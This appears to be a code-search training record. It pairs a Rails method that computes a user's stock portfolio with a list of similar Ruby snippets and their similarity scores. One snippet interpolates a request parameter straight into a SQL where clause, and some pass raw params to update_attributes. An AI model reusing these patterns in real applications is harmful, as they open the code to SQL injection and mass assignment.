"def update\n\n if @portfolio.update(portfolio_params)\n save_pictures\n render json: { message: \"success\", portfolioId: @portfolio.id }, status: 200\n else\n render json: { error: @portfolio.errors.values.join(\",\")}, status: 400\n end\n\n end",
"def index\n @portfolios = Portfolio.all\n end",
"def index\n @portfolios = Portfolio.all\n end",
"def show\n @portfolio = Portfolio.new\n end",
"def index\n @projectportfolios = Projectportfolio.all\n end",
"def index\n @stocks = Stock.all \n \n @stocks.each do |x|\n x.price = StockQuote::Stock.quote(x.ticker).last_trade_price_only\n x.save\n end \n end",
"def update\n @portfolio = Portfolio.find(params[:id])\n\n respond_to do |format|\n if @portfolio.update_attributes(params[:portfolio])\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @portfolio.update(portfolio_params)\n format.html { redirect_to partner_portfolio_path(@portfolio), notice: 'Portfolio was successfully updated.' }\n format.json { render :show, status: :ok, location: @portfolio }\n else\n format.html { render :edit }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @portfolio = Portfolio.new(portfolio_params)\n authorize @portfolio\n respond_to do |format|\n if @portfolio.update(portfolio_params)\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully updated.' }\n format.json { render :show, status: :ok, location: @portfolio }\n else\n format.html { render :edit }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @portfolio = current_user.portfolios.new(params[:portfolio])\n\n\n respond_to do |format|\n if @portfolio.save\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully created.' }\n format.json { render json: @portfolio, status: :created, location: @portfolio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_portfolio_item\n @portfolio_item = Portfolio.find(params[:id])\n end",
"def update\n @portfolio = Portfolio.find(params[:id])\n\n\n respond_to do |format|\n if @portfolio.update_attributes(params[:portfolio])\n\n #if @portfolio.save\n if @portfolio.updater current_user\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def needed_amount_less_savings\n recommended_min_portfolio - portfolio_after_growth\n end",
"def portfolio()\n # uniq_funding = self.funding_rounds().uniq\n # uniq_funding.map {|funding| funding.startup}\n startups = self.funding_rounds().map { |funding| funding.startup}\n startups.uniq \n end",
"def update\n respond_to do |format|\n if @portfolio.update(portfolio_params)\n format.html { redirect_to portfolios_path, notice: 'Portfolio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if asset_manager_signed_in?\n portfolio = current_asset_manager.portfolios.new(portfolio_params)\n if portfolio.save\n render_json_message(:ok, message: 'New portfolio created', data: portfolio)\n else\n render_json_message(:forbidden, data: portfolio, errors: portfolio.errors.full_messages)\n end\n else\n render_json_message(:forbidden, message: 'No asset manager is currently signed in')\n end\n end",
"def find_portfolio\n @portfolio = Portfolio.find params[:id]\n end",
"def last_year_portfolio_performance\n last_year_performance_all_stocks = self.purchased_stocks.reduce([]) do |result, stock|\n result << stock.last_years_performance\n end\n sum_for_each_month(last_year_performance_all_stocks)\n end",
"def create\n @user = User.find(current_user.id)\n @portfolio = @user.portfolios.new(portfolio_params)\n\n @portfolio.save\n redirect_to portfolios_path\n end",
"def create\n @portfolio = Portfolio.new(portfolio_params.merge!(user_id: current_user.id))\n if @portfolio.save\n save_pictures\n render json: { message: \"success\", portfolioId: @portfolio.id }, status: 200\n else\n render json: { error: @portfolio.errors.values.join(\",\")}, status: 400\n end\n end",
"def update\n @portfolio = Portfolio.find(params[:id])\n @user = User.find(session[:id])\n StocksUser.where(user_id: session[:id]).destroy_all\n @portfolio.update(portfolio_params)\n\n redirect_to portfolios_path\n end",
"def create\n @portfolio = Portfolio.new(portfolio_params)\n\n if @portfolio.save\n render json: @portfolio, status: :created, location: @portfolio\n else\n render json: @portfolio.errors, status: :unprocessable_entity\n end\n end",
"def index\n @portfolio_items = PortfolioItem.all\n\n end",
"def update_variance\n\n\n @var_projects = current_user.organization.projects(:order=>'updated_at DESC')\n \n @var_projects.each do |v|\n if v.amount != 0\n spent = v.time_records.sum(:total_hours)\n #if spent != 0 && v.amount !=0\n varce = v.amount - spent\n var_per= ((varce/v.amount)*100).round(2)\n v.record_timestamps=false\n v.update_attribute(\"variance\",varce)\n v.update_attribute(\"percent_variance\",var_per)\n v.record_timestamps=true\n # end\n end\n end\n\nend",
"def home\n @projects=current_user.projects\n @credits=current_user.projects.sum(:credits) \n end",
"def set_portfolio_counter\n @portfolio_counter = PortfolioCounter.find(params[:id])\n end",
"def index\n @portfolio_items = Portfolio.by_position\n end",
"def get_portfolio_zip(current_user)\n # Get a temp file path\n filename = FileHelper.sanitized_filename(\"portfolios-#{self.code}-#{current_user.username}.zip\")\n result = Tempfile.new(filename)\n # Create a new zip\n Zip::File.open(result.path, Zip::File::CREATE) do | zip |\n active_projects.each do | project |\n # Skip if no portfolio at this time...\n next if not project.portfolio_available\n\n # Add file to zip in grade folder\n src_path = project.portfolio_path\n if project.main_tutor\n dst_path = FileHelper.sanitized_path( \"#{project.target_grade_desc}\", \"#{project.student.username}-portfolio (#{project.main_tutor.name})\") + \".pdf\"\n else\n dst_path = FileHelper.sanitized_path( \"#{project.target_grade_desc}\", \"#{project.student.username}-portfolio (no tutor)\") + \".pdf\"\n end\n\n #copy into zip\n zip.add(dst_path, src_path)\n end #active_projects\n end #zip\n result\n end",
"def index\n @portfolios = Portfolio.where(user_id: current_user.id)\n end",
"def create\n @portfolio = Portfolio.new(portfolio_params)\n @portfolio_category = PortfolioCategory.all\n @portfolio.user = current_user\n if @portfolio.save\n flash[:success] = 'New Portfolio item created!'\n redirect_to portfolio_path(@portfolio)\n else\n flash[:error] = 'Please see errors below'\n render :new\n end\n end",
"def eth_portfolio\n return @@client.accounts[1].balance.amount.to_f\n end",
"def portfolio_cash_delta\n absolute_delta = quantity * price\n (trade_order.is_buy?) ? -absolute_delta : absolute_delta\n end",
"def saving(point)\n (point.price * volume) - (price * volume)\n end",
"def update\n position = @portfolio.positions.find(params[:id])\n if position.instrument.symbol != params['instrument_symbol'] # Then we're changing instruments.\n position.instrument_id = nil\n input_params = add_param_instrument_id\n FeedWorker.perform_async('series_bulk_load', nil, params['instrument_symbol']) # Update series for this symbol.\n else\n input_params = position_params\n end\n if position.update(input_params)\n render json: @portfolio\n else\n render json: position.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def load_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def show\n @portfolio = Portfolio.find(params[:id])\n end",
"def portfolio\n FundingRound.all.map do |funding_round| \n if funding_round.venture_capitalist == self\n funding_round\n end\n end\n end",
"def create\n @portfolio = Portfolio.new(user_id: current_user.id, holding_type: \"NYSE\", holding_id: (Holding.where(\"name = '#{params[:id]}'\").first.id), num_of_shares: params[:num_of_shares]);\n @portfolio.save\n respond_to do |format|\n if @nyse.save\n format.html { redirect_to @nyse, notice: 'nyse was successfully created.' }\n format.json { render :show, status: :created, location: @nyse }\n else\n format.html { render :new }\n format.json { render json: @nyse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n\t\t@portfolio_items = Portfolio::Item.all\n\tend",
"def portfolio_params\n params.require(:portfolio).permit(:name, :client_id, :montly_budget, :campaigns, :user_id)\n end",
"def set_portfolio_item\n @portfolio_item = PortfolioItem.find(params[:id])\n end",
"def set_portfolio_item\n @portfolio_item = PortfolioItem.find(params[:id])\n end",
"def set_portfolio_item\n @portfolio_item = PortfolioItem.find(params[:id])\n end",
"def set_portfolio_item\n @portfolio_item = PortfolioItem.find(params[:id])\n end",
"def to_values()\n \n portfolio = build_portfolio()\n \n self.to_percentages.inject({}) do |r, x|\n currency, pct = x\n r.merge!(currency => [pct, ((portfolio.value * pct) / 100).round(2)])\n end\n \n end",
"def show\n @portfolio = Portfolio.find(params[:id])\n session[:portfolio_id] = @portfolio.id if @portfolio.user.id == session[:user_id] #if the user owns this portfolio, set this to be the active portfolio\n\n @completed_bets, @in_progress_bets, @future_bets = [], [], [] #these three arrays will contain the three sets of bets the user has made\n\n @bets = @portfolio.bets.select {|bet| bet.line.team.league.abbrev == params[:league].upcase } if params[:league]\n @bets ||= @portfolio.bets\n\n# @portfolio.bets.each do |bet| #this assigns the user's bets to one of the three arrays\n @bets.each do |bet| #this assigns the user's bets to one of the three arrays\n event = bet.line.event\n if event.completed\n @completed_bets << bet\n elsif event.started?\n @in_progress_bets << bet\n else\n @future_bets << bet\n end\n \n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @portfolio }\n end\n end",
"def portfolio_params\n params.require(:portfolio).permit(:name, :user_id, :descripion, :start_date)\n end",
"def update\n respond_to do |format|\n if @projectportfolio.update(projectportfolio_params)\n format.html { redirect_to @projectportfolio, notice: 'Projectportfolio was successfully updated.' }\n format.json { render :show, status: :ok, location: @projectportfolio }\n else\n format.html { render :edit }\n format.json { render json: @projectportfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @portfolio = Portfolio.new(:name => params[:portfolio][:name], :user_id => session[:user_id])\n\n respond_to do |format|\n if @portfolio.save\n session[:portfolio_id] = @portfolio.id #mine\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully created.' }\n format.json { render json: @portfolio, status: :created, location: @portfolio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.73802567",
"0.72309715",
"0.7147288",
"0.67670226",
"0.65593815",
"0.65475404",
"0.6492274",
"0.64522165",
"0.63220936",
"0.6260455",
"0.6249478",
"0.6197417",
"0.6195603",
"0.6195603",
"0.6195603",
"0.6195603",
"0.6195603",
"0.61716515",
"0.6161525",
"0.60817486",
"0.60503197",
"0.60304564",
"0.60289717",
"0.60274005",
"0.6016409",
"0.5981077",
"0.59675306",
"0.59614867",
"0.59581083",
"0.59477425",
"0.5940988",
"0.5936265",
"0.5935587",
"0.5926537",
"0.59019613",
"0.5896631",
"0.5895778",
"0.5877181",
"0.586063",
"0.58222014",
"0.58168197",
"0.58113027",
"0.5810866",
"0.5804176",
"0.5791298",
"0.5778368",
"0.57441205",
"0.5731509",
"0.57281935",
"0.57280403",
"0.57272434",
"0.5715365",
"0.57150424",
"0.57150424",
"0.57117724",
"0.57061565",
"0.5703997",
"0.5693929",
"0.56802905",
"0.56798",
"0.56769466",
"0.5668922",
"0.56687653",
"0.566828",
"0.5659353",
"0.5655695",
"0.56525975",
"0.5649507",
"0.5640147",
"0.56159556",
"0.56026804",
"0.5601692",
"0.558099",
"0.55748576",
"0.55696034",
"0.5562603",
"0.55514055",
"0.55407065",
"0.55401546",
"0.5539967",
"0.55383545",
"0.55296654",
"0.55154544",
"0.549785",
"0.5485946",
"0.54849136",
"0.5478966",
"0.54787964",
"0.54783076",
"0.5471414",
"0.5467493",
"0.5466723",
"0.5466723",
"0.5466723",
"0.5466723",
"0.54631853",
"0.5459964",
"0.5457995",
"0.54449916",
"0.5438828"
] |
0.7358699
|
1
|
retrieves the cached portfolio from db, calculates current values and formats output
|
def portfolio
p = {}
p[:cash_in] = self.cash_in
p[:total_investment] = self.investment
p[:total_profit] = self.profit
p[:balance] = self.balance
p[:total_stocks] = 0
# copy cached ownership info into portfolio data structure
p[:stocks] = {}
Ownership.where(:user_id => self.id).each do |o|
if o.amount.nil?
o.amount = 0
o.save
end
p[:stocks][o.stock_id] = {:amount => o.amount, :stock => o.stock, :investment => o.investment, :avg_price => o.avg_price, :profit => o.profit}
p[:total_stocks] += o.amount
end
p[:total_value] = 0
# calculate current value
p[:stocks].each do |stock_id, data|
# value: how much is the stock currently worth on the market
data[:value] = data[:amount] * data[:stock].price
p[:total_value] += data[:value]
end
# do some additional calculations
p[:total_investment_rel] = ((self.investment / self.cash_in) * 100).round(2)
p[:total_profit_rel] = StocksHelper.rel_percent p[:cash_in], p[:balance]
p[:total_value_rel] = StocksHelper.rel_percent p[:total_investment], p[:total_value]
return p
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def report\n @portfolios = Portfolio.where(user_id: session[:user_id]).decorate\n Portfolio.transaction do\n Portfolio.refresh_costs(@portfolios, current_user)\n @portfolios.map(&:reload)\n end\n @portfolios.sort!{ |a,b| b.difference.to_i.abs <=> a.difference.to_i.abs }\n end",
"def calculate_portfolio(portfolio = Array.new)\n\tqs = get_quote_info(get_quote_list(portfolio))\n\tportfolio.each do |p|\n\t\tp['info'] = qs[p['stock']]\n\t\tvalue_orderd = p['amount']*p['price']\n\t\tvalue_now = p['amount']*p['info'].lastTrade\n\t\tp['profit_amount'] = value_now - value_orderd\n\tend\n\treturn portfolio\nend",
"def get_portfolio\n return self.total_value_in_stocks + self.balance\n end",
"def update_portfolio\n buys = self.buyer_transactions.where(\"transaction_type_id = 0\").select(\"stock_id, sum(amount) as total\").group(\"stock_id\")\n sells = self.seller_transactions.where(\"transaction_type_id = 0\").select(\"stock_id, sum(amount) as total\").group(\"stock_id\")\n \n self.cash_in = self.seller_transactions.where(\"transaction_type_id = 1\").sum('amount * price')\n self.investment = 0\n self.profit = 0\n self.balance = self.calculate_balance\n\n p = {}\n p[:stocks] = {}\n \n # go through transactions to get current portfolio \n buys.each do |buy|\n stock = Stock.find(buy.stock_id)\n # add stocks to portfolio according to buys\n p[:stocks][buy.stock_id] = {:amount => buy.total, :stock => stock}\n sells.each do |sell|\n if buy.stock_id == sell.stock_id\n # subtract stocks from portfolio according to sells\n p[:stocks][buy.stock_id][:amount] = buy.total - sell.total\n end\n end\n end\n \n p[:stocks].each do |stock_id, data|\n\n # save portfolio in ownerships\n ownership = Ownership.where(:user_id => self.id, :stock_id => stock_id).first_or_create\n ownership.amount = data[:amount]\n\n # investment: how much did the user pay for the stocks he bought last?\n buys = self.buyer_transactions.where(:stock_id => stock_id).order('created_at DESC') \n counter = data[:amount]\n investment = 0\n buys.each do |buy|\n if counter - buy.amount > 0\n investment += buy.price * buy.amount\n else\n investment += buy.price * counter\n break\n end\n counter -= buy.amount\n end\n ownership.investment = investment\n self.investment += investment\n\n # avg_price: how much did the user pay for the stocks he bought last on avg\n ownership.avg_price = (ownership.investment / ownership.amount).round(2)\n\n # profit: how much money did the user make trading this stock\n gains = self.seller_transactions.where(:stock_id => stock_id).sum('amount * price')\n losses = self.buyer_transactions.where(:stock_id => stock_id).sum('amount * price') \n ownership.profit = gains - losses \n self.profit += ownership.profit\n\n ownership.save\n \n end\n \n self.save\n \n end",
"def portfolio_value(fake_yahoo_api)\n # Go through our positions and add them up, then add in the cash balance\n @positions.map { |key, value| fake_yahoo_api.get_latest_price(key) * @positions[key] || 0 }\n .reduce(:+) || 0\n + account_balance\n end",
"def get_value\n portfolio_value = 0\n @stocks.each do |stock|\n portfolio_value += stock.get_value\n end\n portfolio_value\n end",
"def get_portfolio\n @portfolio = Portfolio.find(params[:portfolio_id])\n end",
"def index\n @portfolio_items = Portfolio.all\n end",
"def show\n \n @portfolio = find_instance\n totVal = @portfolio.updateVals #important\n \n @portfolio.update_attribute(:value, totVal)# = totVal\n #@portfolio.save\n \n #rh = @portfolio.getRelWeights #returns rel weight\n \n #@charturl = generatePieChart(rh)\n #logger.info @charturl\n \n hobo_show\n \n end",
"def index\n @portfolio_counters = PortfolioCounter.all\n end",
"def portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def index\n\t\t@portfolio_items = Portfolio::Item.all\n\tend",
"def index\n @portfolio_items = PortfolioItem.all\n\n end",
"def index\n @portfolio_items = Portfolio.by_position\n end",
"def index\n @portfolios = Portfolio.all\n end",
"def index\n @portfolios = Portfolio.all\n end",
"def index\n @portfolio_finances = PortfolioFinance.all\n end",
"def portfolio\n nil\n end",
"def find\n @portfolio_items = Portfolio.find(params[:id])\n end",
"def show\n @portfolio = Portfolio.find(params[:id])\n\n \n # @stocks = YahooFinance.quotes([@portfolio.stocks.group_by(&:stock_symbol)], [:ask, :bid], { raw: false } )\n # additional resources :\n # https://github.com/herval/yahoo-finance\n # https://github.com/rlazoti/yahoofinance-example/blob/master/view_stocks.rb\n\n @stocks = YahooFinance.quotes(@portfolio.stocks.group_by(&:stock_symbol), [:ask, :bid, :symbol, :last_trade_price], { raw: false } )\n \n\n @stock = Stock.new\n @stock.portfolio_id = @portfolio.id\n end",
"def load_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def portfolio\n @portfolio = Portfolio.find_by(id: params[:portfolio_id])\n end",
"def index\n @portfolios = Portfolio.where(user_id: current_user.id)\n end",
"def index\n # TODO: ideally instead of eager loading sells, we could just include\n # quantity_sold in the eager_lod for lots.\n @portfolios = Portfolio.eager_graph(lots: :sells).eager_graph(allocations: {:asset_class => :funds}).all\n\n render json: @portfolios\n end",
"def index\n @projectportfolios = Projectportfolio.all\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def index\n @positions = @portfolio.positions\n end",
"def index\n @dj_portfolios = DjPortfolio.all\n end",
"def public\n # Cache for 12 hours\n \n \n @month = 0\n @total = 0\n @sites = Site.find(:all, :conditions => [\"ispublic = true\"])\n Site.find(:all).each do |si|\n si.emissions.each do |em|\n if em.month == DateTime.now.month\n @month += em.co2_users.to_i + em.co2_server.to_i\n end\n @total += em.co2_users.to_i + em.co2_server.to_i\n end\n end\n begin\n car = Net::HTTP.get(URI.parse(\"http://carbon.to/car.json?co2=\"+ (@total/1000).round.to_s))\n car = ActiveSupport::JSON.decode(car)\n @caramount = car[\"conversion\"][\"amount\"]\n rescue\n @caramount = 0 \n end\n \n end",
"def get_portfolio_symbols_and_prices\n holdings = self.portfolio_holdings\n @holding = Holding.new\n symbol_and_price = []\n holdings.each do |key, value|\n if key === \"MM\"\n symbol_and_price.push({key => 1})\n else\n price = @holding.get_price(key).to_f\n symbol_and_price.push({key => price})\n end\n end\n symbol_and_price\n end",
"def find_portfolio\n @portfolio = Portfolio.find params[:id]\n end",
"def index\n @get_banners ||= Banner.where(published: true)\n @featured_articles ||= Article.limit(3).where(published: true)\n @our_clients ||= TrustCompany.all.order('RANDOM()').limit(15)\n\n @portfolios ||= Portfolio::Portfolio.where(published: true).order('release desc').limit(12)\n\n\n end",
"def cache_content\n csv = CSV.parse(@cache.get, :headers => true)\n csv = csv.first # Only one line.\n\n # Clean-up\n csv = csv.map{|key, value| [key.strip, value.strip]}\n .delete_if{|key, _| key.empty?}\n\n date_entry, *quotations = *csv\n _, date = date_entry\n\n time = Time.parse(date + ' ' + self.class.new_rates_time_of_day_s(date))\n quotations.map!{|cur,rate| [cur, BigDecimal.new(rate)]}\n\n [time, quotations]\n rescue\n raise InvalidCacheError\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def index\n @portfolios = Portfolio.where(user_id: session[:user_id])\n end",
"def pull_from_cache(db, user_name, dolla_dolla_bills_yall)\r\n\t#set cache = current value - arg, then add arg to income()\r\n\tnew_cache = (current_cache(db, user_name) - dolla_dolla_bills_yall.to_i)\r\n\tupdate_cache = '\r\n\r\n\tUPDATE users \r\n\r\n\tSET cache = ?\r\n\tWHERE name = ?'\r\n\tdb.execute(update_cache, [new_cache, user_name])\r\nend",
"def show\n # @count = User.find(session[:id]).portfolios.count\n @portfolio = Portfolio.find(params[:id])\n @holdings = @portfolio.holdings\n\n end",
"def eth_portfolio\n return @@client.accounts[1].balance.amount.to_f\n end",
"def show\n @portfolio = Portfolio.find(params[:id])\n session[:portfolio_id] = @portfolio.id if @portfolio.user.id == session[:user_id] #if the user owns this portfolio, set this to be the active portfolio\n\n @completed_bets, @in_progress_bets, @future_bets = [], [], [] #these three arrays will contain the three sets of bets the user has made\n\n @bets = @portfolio.bets.select {|bet| bet.line.team.league.abbrev == params[:league].upcase } if params[:league]\n @bets ||= @portfolio.bets\n\n# @portfolio.bets.each do |bet| #this assigns the user's bets to one of the three arrays\n @bets.each do |bet| #this assigns the user's bets to one of the three arrays\n event = bet.line.event\n if event.completed\n @completed_bets << bet\n elsif event.started?\n @in_progress_bets << bet\n else\n @future_bets << bet\n end\n \n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @portfolio }\n end\n end",
"def index\n @stocks = Stock.all \n \n @stocks.each do |x|\n x.price = StockQuote::Stock.quote(x.ticker).last_trade_price_only\n x.save\n end \n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:portfolio_id])\n end",
"def set_portfolio_finance\n @portfolio_finance = PortfolioFinance.find(params[:id])\n end",
"def set_portfolio\n @portfolio = current_user.portfolio\n end",
"def last_price\n logger.info 'LAST PRICE LOAD BEGIN.'\n instruments = Instrument.select(:id, :symbol).joins(positions: :portfolio).where(portfolios: { user_id: current_user.id }).order(:symbol).distinct # Get instrument list. Added .order for WebMock testing.\n trades = DataCache.price_values(instruments, params.key?('livePrices'))\n logger.info 'LAST PRICE LOAD END.'\n render json: trades, each_serializer: TradeSerializer\n end",
"def show\n @portfolio = Portfolio.find(params[:id])\n end",
"def get_folio\n amount = 0.0\n paid = 0.0\n remain = 0.0\n datas = {rows: [],footer:[]}\n folios = Folio.where(input_type_id: params[:input_type_id]).order(:id)\n i = 0\n i_tmp = 0\n folios.each {|f|\n i += 1\n i_tmp = i\n folio_name = f.folio_no\n folio_name += \"(#{f.remark})\" if f.remark.to_s != \"\"\n datas[:rows].push({\n id: i,\n folio_no: folio_name,\n leaf: false,\n folio_id: f.id,\n })\n exp = Expense.where(folio_id: f.id).order(:id)\n exp.each {|e|\n product_tmp = e.product\n if product_tmp.config.to_s != \"4\"\n amount += e.price.to_f\n else\n paid += e.price\n end\n i += 1\n datas[:rows].push({\n id: i,\n folio_no: \"Detail\",\n product_id: e.product_id, \n product_name: product_tmp.product_name, \n at_date: date_dateform(e.at_date),\n per_unit: e.per_unit,\n vol: e.vol,\n price: e.price,\n ref: e.ref.to_s,\n _parentId: i_tmp,\n leaf: true,\n folio_id: f.id,\n expense_id: e.id,\n room: begin e.room_list.room.room_no rescue \"\" end,\n room_list_id: e.room_list_id,\n input_type_id: e.input_type_id\n })\n }\n }\n \n datas[:footer].push({\n folio_no: \"<b>#{t(\"html.amount\")}</b>\",\n price: \"<b>#{\"%.2f\" % (amount)}</b>\",\n iconCls: \"icon-sum\"\n })\n \n datas[:footer].push({\n folio_no: \"<b>#{t(\"html.paid\")}</b>\",\n price: \"<b>#{\"%.2f\" % (paid)}</b>\",\n iconCls: \"icon-sum\"\n })\n \n datas[:footer].push({\n folio_no: \"<b>#{t(\"html.remain\")}</b>\",\n price: \"<b>#{\"%.2f\" % (amount + paid)}</b>\",\n iconCls: \"icon-sum\"\n })\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: datas }\n end\n\n end",
"def home\n @projects=current_user.projects\n @credits=current_user.projects.sum(:credits) \n end",
"def last_year_portfolio_performance\n last_year_performance_all_stocks = self.purchased_stocks.reduce([]) do |result, stock|\n result << stock.last_years_performance\n end\n sum_for_each_month(last_year_performance_all_stocks)\n end",
"def index\n @new_portfolio = Portfolio.new\n @portfolios = filter_portfolios(params[:search])\n @portfolios = sort_results(params, @portfolios) unless params[:order].blank?\n @portfolios = @portfolios.includes(:products, :products => :groups).order(\"portfolios.name, products.name, groups.name\").uniq\n @portfolios = @portfolios.paginate(:page => params[:page], \n :per_page => session[:results_per_page])\n end",
"def index\r\n #front end view used\r\n\r\n session[:filter_type] = nil\r\n session[:filter_query] = nil\r\n Rails.cache.delete('total_stats')\r\n\r\n #randomize what project a user sees when first going to the website\r\n #changes everyday at midnight\r\n @project = []\r\n\r\n if cookies[:landing_project].blank?\r\n rand_command = ActiveRecord::Base.connection.adapter_name.downcase.include?('mysql') ? \"RAND()\" : \"RANDOM()\" #RAND() for MySQL; RANDOM() for sqlite3\r\n @project = Project.exclude_multi_project.has_outreach.published.first(:order => rand_command)\r\n cookies[:landing_project] = { :value => @project.name, :expires => Time.now.midnight + 1.day} if @project\r\n else\r\n @project = Project.find_by_name(cookies[:landing_project])\r\n end\r\n\r\n if @project\r\n results = get_project_slider_info(@project.name)\r\n @project_slider_html = results\r\n @formatted_project_name = @project.name.gsub(' ','_')\r\n end\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(:controller => 'projects', :action => 'show', :id => @formatted_project_name) }\r\n format.xml { render :xml => @project }\r\n end\r\n end",
"def to_values()\n \n portfolio = build_portfolio()\n \n self.to_percentages.inject({}) do |r, x|\n currency, pct = x\n r.merge!(currency => [pct, ((portfolio.value * pct) / 100).round(2)])\n end\n \n end",
"def find_portfolio_list\n @folder = Folder.find_folder(params[:folder_id])\n @real_estate_property_id = @folder.real_estate_property_id\n @real_estate_property = RealEstateProperty.find_real_estate_property(@real_estate_property_id)\n #shared_folder_portfolios = Portfolio.joins(:real_estate_properties => [:folders => :shared_folders]).where(\"portfolios.portfolio_type_id =? and shared_folders.user_id = ? and shared_folders.is_property_folder =? and shared_folders.client_id =?\", 2,User.current.id,1,User.current.client_id).select(\"portfolios.id\")\n #~ shared_folder_portfolios = Portfolio.find_by_sql(\"SELECT p.id FROM shared_folders sf INNER JOIN folders ft ON sf.folder_id = ft.id INNER JOIN real_estate_properties pt ON ft.real_estate_property_id = pt.id INNER JOIN portfolios p ON pt.portfolio_id = p.id and p.portfolio_type_id = 2 and (sf.user_id = #{User.current.id}) and sf.is_property_folder = 1 and sf.client_id = #{User.current.client_id}\" )\n #pids = shared_folder_portfolios.collect{|p| p.id}.uniq unless shared_folder_portfolios.empty?\n #@shared_portfolio_list = Portfolio.find(:all,:conditions => [\"id in (?)\",pids]) if pids && !pids.empty?\n portfolio_list = current_user.portfolios.find(:all,:conditions => [\"portfolio_type_id=? and name not in (?)\", PortfolioType.find_by_name(\"Real Estate\").id,[\"portfolio_created_by_system\",\"portfolio_created_by_system_for_deal_room\", \"portfolio_created_by_system_for_bulk_upload\"]])\n my_files_portfolio_list = Portfolio.find_all_by_name_and_user_id(\"portfolio_created_by_system\",User.current).to_a\n my_deal_portfolio_list = Portfolio.find_all_by_name_and_user_id(\"portfolio_created_by_system_for_deal_room\",User.current).to_a\n bulk_upload_portfolio_list = (params[:bulk_upload] == 'true') ? Portfolio.find_all_by_name_and_user_id(\"portfolio_created_by_system_for_bulk_upload\",User.current).to_a : []\n # @shared_portfolio_list = @shared_portfolio_list.nil? || (@shared_portfolio_list && @shared_portfolio_list.empty?) ? [] : @shared_portfolio_list\n #portfolio_list = my_files_portfolio_list + my_deal_portfolio_list + portfolio_list + @shared_portfolio_list + bulk_upload_portfolio_list\n return portfolio_list\n end",
"def print_portfolio(portfolio = Array.new)\n\ttemplate=<<EOT\nSTOCK:\\tLASTTRADE €\n\\tAMOUNT @ PRICE € -> PROFIT €\nEOT\n\tmoney = portfolio.reduce(0) do |memo, p|\n\t\tt = template.dup\n\t\tt.sub!('STOCK', p['stock'])\n\t\tt.sub!('LASTTRADE', \"#{p['info'].lastTrade}\")\n\t\tt.sub!('AMOUNT', p['amount'].to_s)\n\t\tt.sub!('PRICE', p['price'].to_s)\n\t\tt.sub!('PROFIT', p['profit_amount'].to_s)\n\t\tputs t\n\t\tmemo += p['profit_amount']\n\tend\n\tputs \"-> #{money} €\"\nend",
"def show\n @grid = HoldingsGrid.new(holdings_grid_params) do |scope|\n scope.where(portfolio_id: @portfolio.id).page(params[:page])\n end\n @sector_counts = @portfolio.sector_list\n @industry_counts = @portfolio.industry_list\n end",
"def index\n\n @current_prices = []\n @properties = current_user.properties\n\n\n\n @properties.each do |stock|\n url = 'https://www.google.com/finance/info?q=NYSE%3A' + stock.symbol.to_s\n uri = URI(url)\n response = Net::HTTP.get(uri)\n json = JSON.parse(response[5..(response.length - 3)])\n current_price = json[\"l\"].to_f\n @current_prices.push(current_price)\n end\n end",
"def set_portfolio\n @portfolio = current_user.portfolio\n end",
"def set_projectportfolio\n @projectportfolio = Projectportfolio.find(params[:id])\n end",
"def eth_value\n return eth_portfolio * eth_price\n end",
"def cache_change\n @project = Project.find_by_id(project_id)\n if [email protected]? # prevents issue where @project was returning null, if the project hadn't been approved yet.\n if @project.is_stage_one == \"Is not Stage One\" && @project.active == true && attribute_name != 'active' && @project.donor.name == 'China'\n\n first = Rails.cache.fetch(\"recent/first\")\n\n # if the last project was the same as this one, store it in the string\n # instead of making a new entry\n if first && first[:id] == project_id\n action = first[:action]\n new_action = \"#{(attribute_name || \"#{association_model}s\").titleize.downcase}\"\n\n #no duplicates\n unless /#{new_action}/ =~ action\n first[:action] = action << \", #{new_action}\"\n first[:time] = self.updated_at\n Rails.cache.write(\"recent/first\", first)\n else\n false\n end\n\n else\n # add a new entry and move the old ones down\n second = Rails.cache.fetch(\"recent/second\")\n\n Rails.cache.write(\"recent/third\", second)\n Rails.cache.write(\"recent/second\", first)\n @update_sent = \"updated #{(attribute_name || \"#{association_model}s\").titleize.downcase}\"\n json = {\n id: @project.id,\n title: @project.title,\n info: @project.to_english(exclude_title: true),\n action: @update_sent,\n 